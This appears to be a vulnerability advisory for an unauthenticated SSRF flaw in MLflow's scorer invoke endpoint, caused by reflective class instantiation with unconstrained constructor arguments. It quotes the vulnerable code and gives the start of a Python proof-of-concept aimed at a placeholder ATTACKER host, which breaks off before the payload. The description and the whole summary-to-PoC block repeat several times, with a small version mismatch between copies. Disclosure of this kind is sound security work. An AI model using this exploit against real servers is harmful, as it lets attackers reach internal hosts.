CVE-2026-115886

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.

Summary

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details

Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:

data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {})  # kwargs NOT constrained
...
init_kwargs["model"] = data["model"]               # attacker model URI
scorer_instance = scorer_class(**init_kwargs)      # reflective instantiation

The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:

THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):

backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name
    ...
    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded

Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().

• Route: POST /ajax-api/3.0/mlflow/scorer/invoke → _invoke_scorer_handler (mlflow/server/handlers.py:7026-7098), guarded only by @catch_mlflow_exception/@_disable_if_artifacts_only — no auth decorator.
• Scorer.model_validate_json(serialized_scorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submit_job call.
• Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).

PoC

import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#    outbound LLM client at the attacker host with an attacker-chosen
#    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name":…

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.

Summary

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details

Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:

data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {})  # kwargs NOT constrained
...
init_kwargs["model"] = data["model"]               # attacker model URI
scorer_instance = scorer_class(**init_kwargs)      # reflective instantiation

The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:

THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):

backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name
    ...
    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded

Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().

• Route: POST /ajax-api/3.0/mlflow/scorer/invoke → _invoke_scorer_handler (mlflow/server/handlers.py:7026-7098), guarded only by @catch_mlflow_exception/@_disable_if_artifacts_only — no auth decorator.
• Scorer.model_validate_json(serialized_scorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submit_job call.
• Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).

PoC

import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#    outbound LLM client at the attacker host with an attacker-chosen
#    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name":…

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission. This issue is fixed in version 3.17.0.